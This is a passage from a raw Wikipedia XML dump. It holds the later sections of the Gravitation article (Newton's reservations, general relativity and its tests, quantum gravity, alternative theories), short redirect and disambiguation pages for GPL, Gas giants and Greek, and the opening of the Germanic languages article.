It is a generalization of the vector form, which becomes particularly useful if more than 2 objects are involved (such as a rocket between the Earth and the Moon). For 2 objects (e.g. object 1 is a rocket, object 2 the Earth), we simply write &lt;math&gt;\mathbf r&lt;/math&gt; instead of &lt;math&gt;\mathbf r_{21}&lt;/math&gt; and &lt;math&gt;m&lt;/math&gt; instead of &lt;math&gt;m_1&lt;/math&gt; and define the gravitational field &lt;math&gt; \mathbf g(\mathbf r) &lt;/math&gt; as:
:&lt;math&gt;
 \mathbf g(\mathbf r) =
 G {m_2 \over r^2}
 \, \mathbf{\hat{r}}
&lt;/math&gt;

so that we can write:

:&lt;math&gt;\mathbf{F}( \mathbf r) = m \mathbf g(\mathbf r) &lt;/math&gt;

This formulation is independent of the objects causing the field. The field has units of force divided by mass; in [[SI]], this is N·kg&lt;sup&gt;&amp;minus;1&lt;/sup&gt;.

==Problems with Newton's theory==
Although Newton's description of gravity is sufficiently accurate for many practical purposes, it suffers from several theoretical problems and is demonstrably not exactly correct.

===Theoretical concerns===
*There is no prospect of identifying the mediator of gravity.  Newton himself felt the inexplicable ''[[action at a distance (physics)|action at a distance]]'' to be unsatisfactory (see &quot;[[#Newton's reservations|Newton's reservations]]&quot; below).
*Newton's theory requires that gravitational force is transmitted instantaneously. Given classical assumptions of the nature of space and time, this is necessary to preserve the conservation of [[angular momentum]] observed by [[Johannes Kepler]].  However, it is in direct conflict with Einstein's theory of [[special relativity]] which places an upper limit&amp;mdash;the [[speed of light]] in vacuum&amp;mdash;on the velocity at which signals can be transmitted.

===Disagreement with observation===
*Newton's theory does not fully explain the [[precession]] of the [[perihelion]] of the [[orbit]] of the [[planet]] [[Mercury (planet) | Mercury]]. There is a 43 [[arcsecond]] per century discrepancy between the Newtonian prediction (resulting from the gravitational tugs of the other planets) and the observed precession{{fn|3}}.
*The predicted deflection of light by gravity using Newton's theory is only half the deflection actually observed. [[General relativity#Bending of light|General relativity]] is in closer agreement with the observations.
*The observed fact that gravitational and inertial masses are the same for all bodies is unexplained within Newton's system. [[General relativity]] takes this as a postulate. See [[equivalence principle]].

===Newton's reservations===
While Newton was able to formulate his law of gravity in his monumental work, he was deeply uncomfortable with the notion of &quot;action at a distance&quot; which his equations implied. He never, in his words, &quot;assigned the cause of this power&quot;.  In all other cases, he used the phenomenon of motion to explain the origin of various forces acting on bodies, but in the case of gravity, he was unable to experimentally identify the motion that produces the force of gravity. Moreover, he refused to even offer a hypothesis as to the cause of this force on grounds that to do so was contrary to sound science.

He lamented the fact that &quot;philosophers have hitherto attempted the search of nature in vain&quot; for the source of the gravitational force, as he was convinced &quot;by many reasons&quot; that there were &quot;causes hitherto unknown&quot; that were fundamental to all the &quot;phenomena of nature&quot;. These fundamental phenomena are still under investigation and, though hypotheses abound, the definitive answer is yet to be found.  While it is true that Einstein's hypotheses are successful in explaining the effects of gravitational forces more precisely than Newton's in certain cases, he too never assigned the cause of this power in his theories.  It is said that in Einstein's equations, &quot;matter tells space how to curve, and space tells matter how to move&quot;, but this new idea, completely foreign to the world of Newton, did not enable Einstein to assign the &quot;cause of this power&quot; to curved space any more than the Law of Universal Gravitation enabled Newton to assign its cause. In Newton's own words:

:''I have not yet been able to discover the cause of these properties of gravity from phenomena and I feign no hypotheses... It is enough that gravity does really exist and acts according to the laws I have explained, and that it abundantly serves to account for all the motions of celestial bodies. That one body may act upon another at a distance through a vacuum without the mediation of anything else, by and through which their action and force may be conveyed from one another, is to me so great an absurdity that, I believe, no man who has in philosophic matters a competent faculty of thinking could ever fall into it.''

If science is eventually able to discover the cause of the gravitational force, Newton's wish could eventually be fulfilled as well.

It should be noted that the word &quot;cause&quot; here is not being used in the same sense as &quot;cause and effect&quot; or &quot;the defendant caused the victim to die&quot;. Rather, when Newton uses the word &quot;cause,&quot; he (apparently) is referring to an &quot;explanation&quot;. In other words, a phrase like &quot;Newtonian gravity is the cause of planetary motion&quot; means simply that Newtonian gravity explains the motion of the planets. See [[Causality]] and [[Causality (physics)]].

==Einstein's theory of gravitation==
[[Albert Einstein|Einstein's]] theory of gravitation answered the problems with Newton's theory noted above. In a revolutionary move, his theory of [[general relativity]] ([[1915]]) stated that the presence of [[mass]], [[energy]], and [[momentum]] causes [[spacetime]] to become [[curvature|curved]].  Because of this curvature, the paths that objects in [[inertia|inertial motion]] follow can &quot;deviate&quot; or change direction over time.  This deviation appears to us as an acceleration towards massive objects, which Newton characterized as being gravity.  In general relativity however, this acceleration or [[free-fall]] is actually inertial motion.  So in a gravitational field it is relative, a matter of relativity, whether objects are falling at the same rate due to their being in inertial motion or whether the observer is the one being accelerated.  (This identification of free fall and inertia is known as the [[Equivalence principle]].)

The relationship between the presence of mass/energy/momentum and the curvature of spacetime is given by the [[Einstein field equations]].  The actual shapes of spacetime are described by [[Exact solutions of Einstein's field equations|solutions of the Einstein field equations]].  In particular, the [[Schwarzschild solution]] ([[1916]])  describes the gravitational field around a spherically symmetric massive object.  The geodesics of the Schwarzschild solution describe the observed behavior of objects being acted on gravitationally, including the anomalous perihelion precession of Mercury and the bending of light as it passes the Sun.

Today General Relativity is accepted as the standard description of gravitational phenomena. ([[#Alternative theories|Alternative theories]] of gravitation exist but are more complicated than General Relativity.) For weak gravitational fields and bodies moving at slow speeds at small distances, Einstein's General Relativity gives almost exactly the same predictions as Newton's law of gravitation.

===Experimental tests===
General Relativity is consistent with all currently available measurements of large-scale phenomena. [[Arthur Eddington]] found observational evidence for the bending of light passing the Sun as predicted by general relativity in [[1919]]. Subsequent observations have confirmed Eddington's results, and observations of a [[pulsar]] which is [[occultation|occulted]] by the Sun every year have permitted this confirmation to be done to a high degree of accuracy.  There have also in the years since 1919 been numerous other [[tests of general relativity]], all of which have confirmed Einstein's theory. Crucial experiments that justified the adoption of General Relativity over Newtonian gravity were the [[classical tests of general relativity|classical tests]]: the [[gravitational redshift]], the [[gravitational lens|deflection of light rays]] by the Sun, and the [[precession]] of the orbit of Mercury.

More recent experimental confirmations of General Relativity were the (indirect) deduction of gravitational waves being emitted from orbiting [[binary star]]s, the existence of [[neutron star]]s and black holes, [[gravitational lensing]], and the convergence of measurements in observational [[cosmology]] to an ''approximately'' flat model of the observable [[Universe]], with a matter density parameter of approximately 30% of the [[critical density]] and a [[cosmological constant]] of approximately 70% of the critical density.

The [[equivalence principle]], the postulate of general relativity that presumes that inertial mass and gravitational mass are the same, is also under test. Past, present, and future tests are discussed in the [[equivalence principle]] article.

Even to this day, scientists try to challenge General Relativity with more and more precise ''direct'' experiments. The goal of these tests is to shed light on the yet unknown relationship between [[#Gravity and Quantum Mechanics|gravity and quantum mechanics]]. [[space probe|Space probes]] are used to either make very sensitive measurements over large distances, or to bring the instruments into an environment that is much more controlled than it could be on Earth. For example, in [[2004]] a dedicated [[satellite]] for gravity experiments, called [[Gravity Probe B]], was launched to test general relativity's predicted [[frame-dragging]] effect, among others. Also, land-based experiments like [[LIGO]] and a host of &quot;bar detectors&quot; are trying to detect gravitational waves directly. A space-based hunt for gravitational waves, [[LISA (astronomy)|LISA]], is in its early stages. It should be sensitive to low frequency gravitational waves from many sources, perhaps including the [[Big Bang]].

Einstein's theory of relativity predicts that the [[speed of gravity]] (defined as the speed at which changes in location of a mass are propagated to other masses) should be the speed of light. In 2002, the Fomalont-[[Sergei Kopeikin|Kopeikin]] experiment produced measurements of the speed of gravity which matched this prediction. However, this experiment has not yet been widely peer-reviewed, and is facing criticism from those who claim that Fomalont-Kopeikin did nothing more than measure the speed of light in a convoluted manner.

The [[Pioneer anomaly]] is an empirical observation that the positions of the [[Pioneer 10]] and [[Pioneer 11]] [[space probe]]s differ very slightly from what would be expected according to known effects (gravitational or otherwise). The possibility of new physics has not been ruled out, despite very thorough investigation in search of a more prosaic explanation.

==Comparison with electromagnetic force==
The gravitational attraction between [[proton]]s is approximately a factor of 10&lt;sup&gt;36&lt;/sup&gt; weaker than the [[electromagnetism|electromagnetic]] repulsion. This factor is independent of distance, because both interactions are inversely proportional to the square of the distance. Therefore on an atomic scale mutual gravity is negligible. Even so, the main interaction between everyday objects and the Earth and between celestial bodies is gravity, because at this scale matter is electrically neutral. This means that there is an equal number of positively charged particles in the universe to negatively charged particles. For example, there aren't any positively charged planets that zoom into negatively charged planets. This means that gravity dominates the universe even though it is the weaker force.  However, to show the delicate balance of gravity over the electromagnetic force, given two bodies if even there were a surplus or deficit of only one [[electron]] for every 10&lt;sup&gt;18&lt;/sup&gt; protons and [[neutron]]s this would already be enough to cancel gravity (or in the case of a surplus in one and a deficit in the other, double the force of attraction). 

Though the force of gravity dominates the visible macro universe, the main interactions such as [[Nuclear fusion|fusion]] between the charged particles in cosmic [[Plasma (physics)|plasma]], of which the sun is composed and which make up over 99% of the universe by volume, are due to the nuclear forces.

In terms of [[Planck units]], the charge of a proton is 0.085, while the mass is only {{sn|8|&amp;minus;20}}. From that point of view, the gravitational force is not small as such, but because masses are small.

The relative weakness of gravity can be demonstrated with a small [[magnet]] picking up pieces of [[iron]]. The small magnet is able to overwhelm the gravitational effect of the entire Earth.    

Even though gravity is relatively weak, the small gravitational interaction exerted by bodies of ordinary size can fairly easily be detected through experiments such as the [[Torsion bar experiment|Cavendish torsion bar experiment]].

'''Further reading'''
* [[Oleg D. Jefimenko|Jefimenko, Oleg D.]], &quot;''Causality, electromagnetic induction, and gravitation : a different approach to the theory of electromagnetic and gravitational fields''&quot;. Star City [West Virginia] : Electret Scientific Co., c1992. ISBN 0917406095
* [[Oliver Heaviside|Heaviside, Oliver]], &quot;''[http://www.as.wvu.edu/coll03/phys/www/Heavisid.htm A gravitational and electromagnetic analogy]''&quot;. The Electrician, 1893.

==Gravity and quantum mechanics==
It is widely believed that three of the four [[fundamental forces]] (the [[strong nuclear force]], the [[weak nuclear force]], and the [[electromagnetic force]]) are manifestations of a single, more fundamental force. Combining gravity with these forces of [[quantum mechanics]] to create a theory of [[quantum gravity]] is currently an important topic of research amongst physicists. 

General relativity is an essentially geometric theory that requires no exchange of particles in its explanation of gravity, whereas quantum mechanics relies on interactions between particles. Scientists have theorized about the [[graviton]] (a [[messenger particle]] that transmits the force of gravity) for years, but have been frustrated in their attempts to find a consistent [[quantum theory]] to describe it. Many believe that [[string theory]] holds a great deal of promise to unify general relativity and [[quantum mechanics]], but this promise has yet to be realized.  

It is notable that in general relativity gravitational radiation (which under the rules of quantum mechanics must be composed of gravitons) is created only in situations where the curvature of spacetime is oscillating, such as is the case with co-orbiting objects.  The amount of gravitational radiation emitted by the [[solar system]] is far too small to measure.  However, gravitational radiation has been indirectly observed as an energy loss over time in binary pulsar systems such as [[PSR1913+16]].  It is believed that [[neutron star]] mergers and [[black hole]] formation may create detectable amounts of gravitational radiation. Gravitational radiation observatories such as [[LIGO]] have been created to study the problem. No confirmed detections have been made of this hypothetical radiation, but as the science behind LIGO is refined and as the instruments themselves are endowed with greater sensitivity over the next decade, this  may change.

==Alternative theories==
===Recent alternative theories===
* [[Brans-Dicke theory]] of gravity
* [[Rosen bi-metric theory]] of gravity
* In the [[modified Newtonian dynamics]] (MOND), [[Mordehai Milgrom]] proposes a modification of [[Newton's Second Law]] of motion for small accelerations.
* The new and &quot;highly controversial&quot; [[Process Physics]] theory attempts to address gravity
* The [[Self creation cosmology]] theory of gravity in which the [[Brans-Dicke theory]] is modified to allow mass creation.
* The satirical theory of [[Intelligent falling]]

===Historical alternative theories===
* [[Aristotelian theory of gravity]]
* [[Nikola Tesla]] challenged [[Albert Einstein]]'s [[theory of relativity]], announcing he was working on a ''[[Dynamic theory of gravity]]'' (which began between 1892 and 1894) and argued that a &quot;''[[Field (physics)|field of force]]''&quot; was a better concept and focused on [[Plasma physics|media with electromagnetic energy]] that fill all of [[space-time|space]].
* [[Induced gravity]]: In 1967 [[Andrei Sakharov]] proposed something similar, if not essentially identical. His theory has been adopted and promoted by Messrs. Haisch, Rueda and Puthoff who, among other things, explain that gravitational and inertial mass are identical and that high speed rotation can reduce (relative) mass. Combining these notions with those of [[Thomas Townsend Brown]], it is relatively easy to conceive how field propulsion vehicles such as &quot;flying saucers&quot; could be engineered given a suitable source of power. 
* [[LeSage gravity]], proposed by [[Georges-Louis LeSage]], based on a fluid-based explanation where a light gas fills the entire universe.
* [[Nordström's theory of gravitation]], an early competitor of [[general relativity]].
* [[Whitehead's theory of gravitation]], another early competitor of [[general relativity]].

==Notes==
* {{fnb|1}} Proposition 75, Theorem 35: p.956 - I.Bernard Cohen and Anne Whitman, translators: Isaac Newton, ''The Principia'': Mathematical Principles of Natural Philosophy. Preceded by ''A Guide to Newton's Principia'', by I.Bernard Cohen. University of California Press  [[1999]] ISBN 0-520-08816-6 ISBN 0-520-08817-4 
* {{fnb|2}} See the works of Stillman Drake, for a comprehensive study of [[Galileo Galilei|Galileo]] and his times, the [[Scientific Revolution]].
* {{fnb|3}} [[Max Born]] ([[1924]]), ''Einstein's Theory of Relativity'' (The 1962 Dover edition, page 348 lists a table documenting the observed and calculated values for the precession of the perihelion of Mercury, Venus, and Earth.)

==See also== 
{{portalpar|Gravitation}}
* [[General relativity]]
* [[Gravitational radiation|Gravitation wave]]
* [[Gravitational binding energy]]
* [[Gravity Research Foundation]]
* [[Standard gravitational parameter]]
* [[Weight]]
* [[Weightlessness]]
* [[n-body problem|''n''-body problem]]
* [[Pioneer anomaly]]
* Table of [[escape velocity|velocities]] required for a [[spacecraft]] to escape a [[planet]]'s gravitational field
* [[Divergence theorem#Gravity|Application to gravity of the divergence theorem]]
* [[Gravity field]]
* [[Gravitation]]
* [[Scalar Gravity]]
* [[Newton's laws of motion]]
* [[Artificial gravity]]
* [[Kepler's third law]]

==References==
* {{cite book | last = Halliday | first =  David | coauthors =  Robert Resnick; Kenneth S. Krane | title = Physics v. 1 | location = New York | publisher =  John Wiley &amp; Sons | year = 2001 | id = ISBN 0471320579 }}
* {{cite book | last = Serway | first =  Raymond A. | coauthors =  Jewett, John W. | title = Physics for Scientists and Engineers | edition = 6th ed. | publisher = Brooks/Cole | year = 2004 | id = ISBN 0534408427 }}
* {{cite book | last = Tipler | first =  Paul | title = Physics for Scientists and Engineers: Mechanics, Oscillations and Waves, Thermodynamics | edition = 5th ed. | publisher = W. H. Freeman | year = 2004 | id = ISBN 0716708094 }}

==External links==
* [http://einstein.stanford.edu/ Gravity Probe B Experiment]  The Official Einstein website from Stanford University

[[Category:Gravity| ]]
[[Category:Introductory physics]]
[[Category:Celestial mechanics]]

[[bs:Gravitacija]]
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[[fr:Gravitation]]
[[he:כבידה]]
[[hu:Gravitáció]]
[[ia:Gravitate]]
[[io:Graveso]]
[[it:Forza di gravità]]
[[ja:重力]]
[[ko:중력]]
[[ms:Graviti]]
[[nds:Gravitatschon]]
[[nl:Zwaartekracht]]
[[no:Gravitasjon]]
[[pl:Grawitacja]]
[[pt:Gravidade]]
[[ru:Гравитация]]
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[[sr:Гравитација]]
[[sv:Gravitation]]
[[vi:Trọng lực]]
[[yi:גראַוועטי]]
[[zh:重力]]</text>
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  </page>
  <page>
    <title>GPL</title>
    <id>11879</id>
    <revision>
      <id>15909591</id>
      <timestamp>2004-12-16T05:35:05Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <comment>restoring redirect, I suspect 99% of existing links are for [[GNU General Public License]]</comment>
      <text xml:space="preserve">#REDIRECT [[GNU General Public License]]</text>
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  <page>
    <title>GothicLanguage</title>
    <id>11880</id>
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      <id>15909592</id>
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      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Gothic language]]
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  <page>
    <title>Gas giants</title>
    <id>11881</id>
    <revision>
      <id>34928048</id>
      <timestamp>2006-01-12T20:39:11Z</timestamp>
      <contributor>
        <username>Acjelen</username>
        <id>107326</id>
      </contributor>
      <comment>clean up</comment>
      <text xml:space="preserve">'''Gas giants''' may refer to:

*more than one [[gas giant]], a planet composed mostly of gas
*[[Gas Giants]], a rock band that formed in 2001

{{disambiguation}}</text>
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  <page>
    <title>Greek</title>
    <id>11882</id>
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      <contributor>
        <username>Sysin</username>
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      </contributor>
      <comment>rv; I've never seen this definition before - please support in Talk:</comment>
      <text xml:space="preserve">The ''noun'' '''Greek''' refers to:

*Synonymous to Grecian; a native or inhabitant of [[Greece]] (Ελλάδα), or a person of Greek descent. - ''main articles: [[Greeks|Greek people]]'' and ''[[Greek (name)|Names of the Greeks]]''
*The [[Indo-European]] language of the Greeks. - ''see main article: [[Greek language]]''

__NOTOC__

The ''adjective'' '''Greek''' may refer to a number of things relating to:

=== History &amp; Geography===
* [[History of Greece|Greek history]]
**[[Greek Neolithic Period]] (ca. 6000 - 2900 BC)  	
**[[Greek Early Bronze Age]] (ca. 2900-2000 BC)
**[[Minoan civilization|Minoan Civilization]] (ca. 2000-1400 BC)
**[[Mycenaean Greece]] (ca. [[1600s BC|1600]]&amp;ndash;[[1200s BC|1200]] BC)
**[[Greek Dark Ages]] (ca. [[1200s BC|1200]]&amp;ndash;[[800s BC|800]] BC)
**[[Ancient Greece]] ([[776 BC|776]]&amp;ndash;[[323 BC|323]] BC)
**[[Hellenistic Greece]] ([[323 BC]]&amp;ndash;[[146 BC]])
**[[Roman Greece]] ([[146 BC|146]]&amp;ndash;[[330]] AD)
**[[Byzantine Empire]] ([[330]]&amp;ndash;[[1453|1453 AD]])
**[[Ottoman Greece]] ([[1453]]&amp;ndash;[[1832]])
**[[History of Modern Greece|Modern Greece]] (after [[1832]])

* [[Greek colonies]]
* [[Greco-Turkish relations]]
* [[Greek islands]]

===Language &amp; Culture===

==== Arts ====
* [[Architecture of Ancient Greece]]
* [[Art in Ancient Greece]]
* [[Greek and latin roots]]
* [[Greek theatre]]
* [[Greeked text]]
* [[Greek key]]
* [[Music of Greece]]

==== Literature ====
* [[Greek language]]
* [[Greek literature]]
* [[Greek alphabet]]

==== Organizations ====
* [[Greek organizations]]

==== Philosophy ====
* [[Greek philosophy]]

==== Religion ====
* [[Greek mythology]]
* [[Greek Orthodox Church]]

=== Science and technology===
* [[Greek fire]]
* [[The Greeks]] &amp;mdash; use of the Greek alphabet in [[mathematical finance]]

=== Academic traditions===
* The academic traditions of so-called '''Greek''' [[university]] [[fraternities and sororities]], each using a few Greek letters as its name

=== Cuisine ===
* [[Cuisine of Greece]]
** [[Greek salad]]

=== Persons of Greek origin ===
* [[Greek American|Greek Americans]]
* [[Greek-Australian|Greek Australians]]
* [[Greek Canadians]]
* [[Greek Cypriots]]

===See also===
*[[Hellenic]]
*[[Grecian]]
*[[Greco-Roman]]


{{disambig}}

[[da:Græsk (flertydig)]]
[[de:Griechisch]]
[[el:Ελληνικός]]
[[es:Griego]]
[[pt:Grego]]
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  <page>
    <title>Germanic languages</title>
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      <comment>/* Vocabulary comparison */</comment>
      <text xml:space="preserve">{{Infobox Language family
  |name=Germanic
  |altname=Teutonic
  |region=Originally in northern and central Europe; today worldwide
  |familycolor=Indo-European
  |fam1=[[Indo-European languages|Indo-European]]
  |child1=[[East Germanic languages|East Germanic]]
  |child2=[[North Germanic languages|North Germanic]]
  |child3=[[West Germanic languages|West Germanic]]
}}{{Template:Indo-European}}

The '''Germanic languages''' form one of the branches of the [[Indo-European languages|Indo-European (IE) language family]]. The largest Germanic languages are [[English language|English]] and [[German language|German]], with ca. 340 and 120 million native speakers, respectively. 

Other significant languages include a number of [[Low Germanic languages|Low Germanic languages]] (including [[Dutch language|Dutch]], [[Afrikaans language|Afrikaans]]) and the [[North Germanic languages|Scandinavian languages]] (principally [[Danish language|Danish]], [[Norwegian language|Norwegian]] and [[Swedish language|Swedish]]). The [[SIL]] ''Ethnologue'' lists 53 different Germanic languages and dialects.

Their common ancestor is [[Common Germanic]], probably spoken in  the mid-[[1st millennium BC]] in [[Jastorf culture|Iron Age Northern Europe]]. Common Germanic, and all its descendants, is characterised by a number of unique linguistic features, most famously the [[consonant]] change known as [[Grimm's law]]. Early Germanic dialects enter history with the  [[Germanic tribes|Germanic peoples]] who settled in northern Europe along the borders of the [[Roman Empire]] from the 2nd century.

==Characteristics of some Germanic languages==

[[Germanic languages]] differ from each other to a greater degree than do some other [[language family|language families]] such as the [[Romance languages|Romance]] or [[Slavic languages]]. Roughly speaking, Germanic languages differ in how conservative or how progressive they are with respect to an overall trend towards [[analytic language|analycity]]. Some, like [[German language|German]], [[Dutch language|Dutch]]  and [[Faroese language|Faroese]], have preserved much of the complex [[inflectional morphology]] ultimately inherited from [[Indo-European]]. Others, like [[English language|English]], [[Swedish language|Swedish]] and [[Afrikaans]] have moved towards a largely [[analytic language|analytic]] type.

A characteristic of many Germanic languages, especially the more conservative ones and the older stages, is '''verb second''' or [[V2 word order]], which is quite uncommon cross-linguistically. Other Germanic languages, most notably English, have replaced this structure with an overall [[Subject Verb Object|SVO]] structure.

Most Germanic languages have fairly complex vowel systems with a large phoneme inventory.

==Writing==
Our earliest evidence of Germanic is from names, recorded in the 1st century by [[Tacitus]], and in a single instance in the [[2nd century BC]], on the [[Negau helmet]].
From roughly the [[2nd century AD]], some speakers of early Germanic dialects developed the [[Elder Futhark]]. Early runic inscriptons are also largely limited to personal names, and difficult to interpret. The [[Gothic language]] was written in the [[Gothic alphabet]] developed by Bishop [[Ulfilas]] for his translation of the [[Bible]] in the 4th century. Later, [[Christianity|Christian]] priests and monks who spoke and read [[Latin]] in addition to their native Germanic tongue began writing the Germanic languages with slightly modified Latin letters, but in Scandinavia, [[runic alphabet]]s remained in common use throughout the [[Viking Age]].

In addition to the standard [[Latin alphabet]], various Germanic languages use a variety of accent marks and extra letters, including [[umlaut]]s, the [[ß]] (''Eszett''),[[IJ]]  [[Ø]], [[Æ]], [[Å]], [[Ð]], [[Yogh|&amp;#540;]], and [[Þ]] and [[wynn|&amp;#503;]], from runes. Historic printed [[German language|German]] is frequently set in [[blackletter]] [[typeface]]s (e.g. [[fraktur (typeface)|fraktur]] or [[schwabacher]]).

==Linguistic Markers==
Some unique features of Germanic languages are:
# The levelling of the IE [[grammatical tense|tense]] system into past and present (or common)
# The use of a dental suffix (/d/ or /t/) instead of [[vowel]] alternation ([[Indo-European ablaut]]) to indicate past tense.  See: [[Germanic weak verb]].
# The presence of two distinct types of [[verb]] [[grammatical conjugation|conjugation]]: [[weak (grammatical term)|weak]] (using ''dental suffix'') and [[strong (grammatical term)|strong]] (using ''ablaut'').  English has 161 strong verbs; all are of native English origin.  See: [[West Germanic strong verb]].
# The use of strong and weak [[adjective]]s. Modern English adjectives don't change except for comparative and superlative; this was not the case with [[Old English language|Old English]], where adjectives were inflected differently depending on whether they were preceded by an article or demonstrative, or not.
# The consonant shift known as [[Grimm's Law]].
# A number of words with etymologies that are difficult to link to other Indo-European families, but variants of which appear in almost all Germanic languages. ''See [[Germanic substrate hypothesis]].''
# The shifting of stress onto the root of the stem.  Though English has an irregular stress, native words always have a fixed stress regardless of what's added to them. This is arguably the most important change.

== History ==
[[Image:Germanic language zones 3.PNG|thumb|400px|right|The global distribution of Germanic languages. Solid red indicates that a majority of inhabitants speaks a Germanic language. Striped red indicates that a sizeable minority (more than 10%) speaks a Germanic language.]]
All Germanic languages are thought to be descended from a hypothetical [[Proto-Germanic language|Proto-Germanic]], united by their having been subjected to the sound shifts of  [[Grimm's law]] and [[Verner's law]]. These took place probably during the [[Pre-Roman Iron Age]] of Northern Europe from ca. [[500 BC]], but other common innovations separating Germanic from [[Proto-Indo European]] suggest a common history of pre-Proto-Germanic speakers throughout the [[Nordic Bronze Age]].

From the time of their earliest attestation, the Germanic dialects are divided into three groups,  [[West Germanic languages|West]], [[East Germanic languages|East]] and [[North Germanic languages|North]] Germanic. Their exact relation is difficult to determine from the sparse evidence of runic inscriptions, and they remained mutually intelligible throughout the [[Migration period]], so that some individual dialects are difficult to classify.
The 6th century [[Lombardic language]], for instance, may constitute an originally either North or East Germanic dialect that became assimilated to West Germanic as the [[Lombards]] settled at the [[Elbe]]. The Western group would have formed in the late [[Pre-Roman Iron Age#Jastorf culture|Jastorf culture]], the Eastern group may be derived from the 1st century dialect of [[Gotland]] (see [[Old Gutnish]]), leaving southern [[Sweden]] as the original location of the Northern group . The earliest coherent Germanic text preserved is the 4th century [[Gothic language|Gothic]]  translation of the [[New Testament]] by [[Ulfilas]]. Early testimonies of West Germanic are in [[Old High German]] and [[Old English language|Old English]] from about the 9th century. North Germanic is only attested in scattered runic inscriptions, as [[Proto-Norse]], until it evolves into [[Old Norse]] by about 800.
Longer runic inscriptions survive from the [[8th century|8th]] and [[9th century|9th]] centuries ([[Eggjum stone]], [[Rök stone]]), longer texts in the Latin alphabet survive from the 12th century ([[Íslendingabók]]), and some [[skaldic poetry]] held to date back to as early as the 9th century.

By about the 10th century, the dialects had diverged enough to make [[mutual intelligibility|intercomprehensibility]] difficult. The linguistic contact of the [[Viking]] settlers of the [[Danelaw]] with the [[Anglo-Saxon]]s left traces in the English language, and is suspected to have facilitated the collapse of Old English grammar that resulted in [[Middle English]] from the 12th century.

The East Germanic languages were marginalized from the end of the Migration period. The [[Burgundians]], [[Goths]] and [[Vandals]] became linguistically assimilated  to their respective neighbors by about the 7th century, with only [[Crimean Gothic language|Crimean Gothic]] lingering on until the 18th century.

During the early Middle Ages, the West Germanic languages were separated by the insular development of Middle English on one hand, and by the [[High German consonant shift]] on the continent on the other, resulting in [[Upper German]] and [[Low Germanic languages|Low German]], with graded intermediate [[Central German]] dialects. By Early modern times, the span had extended into considerable differences, ranging from [[Highest Alemannic German|Highest Alemannic]] in the South to [[Northern Low Saxon]] and [[Frisian language|Frisian]] in the North, and although both extremes are considered [[German language|German]], they are hardly mutually intelligible. The southern dialects have completed the second sound shift, but remained closer to the Middle German vowel system, while the northern dialects remained unaffected by the consonant shift, but simplified the vowel system.

The North Germanic languages, on the other hand, remained more unified, with the larger languages largely retaining mutual intelligibility into modern times.

==Classification==
Note that divisions between subfamilies of Germanic are rarely precisely defined; most form continuous clines, with adjacent [[dialect]]s being mutually intelligible and more separated ones not.

===Diachronic===

{|class=&quot;wikitable&quot;  style=&quot;text-align: center&quot;
|-
| rowspan=3 | [[Pre-Roman Iron Age|Iron Age]]&lt;br&gt;&lt;small&gt;500 BC&amp;ndash;AD 200&lt;/small&gt;
| colspan=9 style=&quot;background: #ccc&quot;| [[Proto-Germanic]]
|-
| colspan=2 |  [[East Germanic]]
| colspan=6 | [[West Germanic]]
| rowspan=2 | [[North Germanic]]
|-
| colspan=6 | [[South Germanic]]
| colspan=2 | [[Anglo-Frisian]]
|-
|rowspan=2 | [[Migration period]]&lt;br&gt;&lt;small&gt;AD 200&amp;ndash;700&lt;/small&gt;
| style=&quot;background: #aea; border-bottom: 1px solid #aea;&quot; |[[Gothic language|Gothic]],
| colspan=2 style=&quot;background: #eeb&quot;| [[Lombardic language|Lombardic]]
| style=&quot;background: #eca; border-bottom: 1px solid #eca;&quot; | &amp;nbsp;
|rowspan=2  style=&quot;background: #eba&quot;| [[Old Frankish language|Old Frankish]]
|rowspan=3 style=&quot;background: #eba&quot;| [[Old Saxon]]
|rowspan=4 style=&quot;background: #eab&quot;| [[Old Frisian]]
|rowspan=3 style=&quot;background: #eab&quot;| [[Old English]]
|rowspan=2 style=&quot;background: #aae&quot;| [[Proto-Norse]]
|-
|colspan=2 style=&quot;background: #aea&quot; |  [[Vandalic language|Vandalic]], [[Burgundian|Burgundian]],
|colspan=2 rowspan=2 style=&quot;background: #eca&quot;| [[Old High German]]
|-
| [[Early Middle Ages]]&lt;br&gt;&lt;small&gt;700&amp;ndash;1100&lt;/small&gt;
| colspan=2 |
|style=&quot;background: #eba&quot;| [[Old Low Franconian]]
|style=&quot;background: #99f&quot;| [[Old Norse]]
|-
| [[Middle Ages]]&lt;br&gt;&lt;small&gt;1100&amp;ndash;1500&lt;/small&gt;
|colspan=2 |
|colspan=2 style=&quot;background: #fc9&quot;| [[Middle High German]]
|style=&quot;background: #fba&quot;| [[Middle Dutch]]
|style=&quot;background: #fba&quot;| [[Middle Low German]]
|style=&quot;background: #e9b&quot; | [[Middle English]]
|style=&quot;background: #99f&quot;| [[Old West Norse]], [[Old East Norse]]
|-
| [[Early Modern Age]]&lt;br&gt;&lt;small&gt;1500&amp;ndash;1700&lt;/small&gt;
|colspan=2 style=&quot;background: #8f8&quot; | [[Crimean Gothic]]
|colspan=2 style=&quot;background: #fb8&quot; | [[Early Modern High German]]
|rowspan=2 style=&quot;background: #fb9&quot;|  [[Low Franconian languages|Low Franconian dialects]]
|rowspan=2 style=&quot;background: #fb9&quot;| [[West Low German]], [[East Low German]]
|style=&quot;background: #fab&quot;| [[Middle Frisian]]
|style=&quot;background: #e8b&quot; | [[Early Modern English]]
|rowspan=2 style=&quot;background: #88f&quot;| [[West Scandinavian]], [[East Scandinavian]]
|-
| [[Modern Age]]&lt;br&gt;&lt;small&gt;1700 to present&lt;/small&gt;
|colspan=2 | all extinct
|colspan=2 style=&quot;background: #fa7&quot;|  [[High Germanic languages|High Germanic dialects]]
| style=&quot;background: #faa&quot;| [[Frisian language|Frisian dialects]]
|style=&quot;background: #f7b&quot;| [[List of dialects of the English language|English dialects]], [[Scots language|Scots dialects]]
|}

'''Note¹:''' Although not clearly visible in the diachronic, [[Lombardic]] is also related to [[Old Saxon]].

''See the article on the [[Lombardic language]] for more information.''

'''Note²:''' [[Old Low Franconian]] is also (less strictly) known as [[Old Dutch]].

===Contemporary===
Mentioned here are only the principal or unusual contemporary dialects; individual articles linked to below contain larger family trees. For example, many Low German dialects are discussed on [[Low German]] besides just Northern Low Saxon and Plautdietsch.

* [[West Germanic languages]]
** [[High Germanic languages]]
*** [[German language|German]]
**** [[Central German]]
***** [[East Central German]]
***** [[Luxembourgish language|Luxembourgish]]
***** [[West Central German]]
